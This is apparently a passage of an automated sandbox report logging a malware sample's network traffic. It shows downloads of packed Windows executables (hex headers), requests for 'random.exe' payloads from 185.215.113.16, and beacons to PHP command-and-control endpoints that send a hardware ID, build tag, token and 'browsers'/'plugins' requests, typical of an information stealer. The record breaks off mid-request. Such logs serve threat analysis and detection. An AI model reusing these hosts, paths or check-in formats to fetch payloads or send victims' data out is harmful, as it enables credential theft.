Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:46 GMTContent-Type: application/octet-streamContent-Length: 1890816Last-Modified: Thu, 31 Oct 2024 22:34:53 GMTConnection: keep-aliveETag: "6724060d-1cda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 98 e9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 2c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 2c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6f 71 66 6d 74 6e 74 00 c0 19 00 00 70 31 00 00 be 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 6b 6d 79 68 71 69 00 10 00 00 00 30 4b 00 00 04 00 00 00 b4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:56 GMTContent-Type: application/octet-streamContent-Length: 2812416Last-Modified: Thu, 31 Oct 2024 21:45:05 GMTConnection: keep-aliveETag: "6723fa61-2aea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 75 6d 74 7a 74 7a 72 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 61 69 68 67 71 72 00 20 00 00 00 40 2b 00 00 04 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:58 GMTContent-Type: application/octet-streamContent-Length: 2812416Last-Modified: Thu, 31 Oct 2024 21:45:05 GMTConnection: keep-aliveETag: "6723fa61-2aea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 75 6d 74 7a 74 7a 72 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 61 69 68 67 71 72 00 20 00 00 00 40 2b 00 00 04 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:39:00 GMTContent-Type: application/octet-streamContent-Length: 1890816Last-Modified: Thu, 31 Oct 2024 22:34:53 GMTConnection: keep-aliveETag: "6724060d-1cda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 98 e9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 2c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 2c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6f 71 66 6d 74 6e 74 00 c0 19 00 00 70 31 00 00 be 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 6b 6d 79 68 71 69 00 10 00 00 00 30 4b 00 00 04 00 00 00 b4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:39:00 GMTContent-Type: application/octet-streamContent-Length: 1890816Last-Modified: Thu, 31 Oct 2024 22:34:53 GMTConnection: keep-aliveETag: "6724060d-1cda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 98 e9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 2c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 2c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6f 71 66 6d 74 6e 74 00 c0 19 00 00 70 31 00 00 be 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 6b 6d 79 68 71 69 00 10 00 00 00 30 4b 00 00 04 00 00 00 b4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003020001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003021001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 43 42 31 44 46 37 31 39 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="hwid"42CB1DF7194C2817018708------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="build"tale------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="message"browsers------BKEHDGDGHCBGCAKFIIIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="message"plugins------AFIEGIECGCBKFIEBGCAA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; 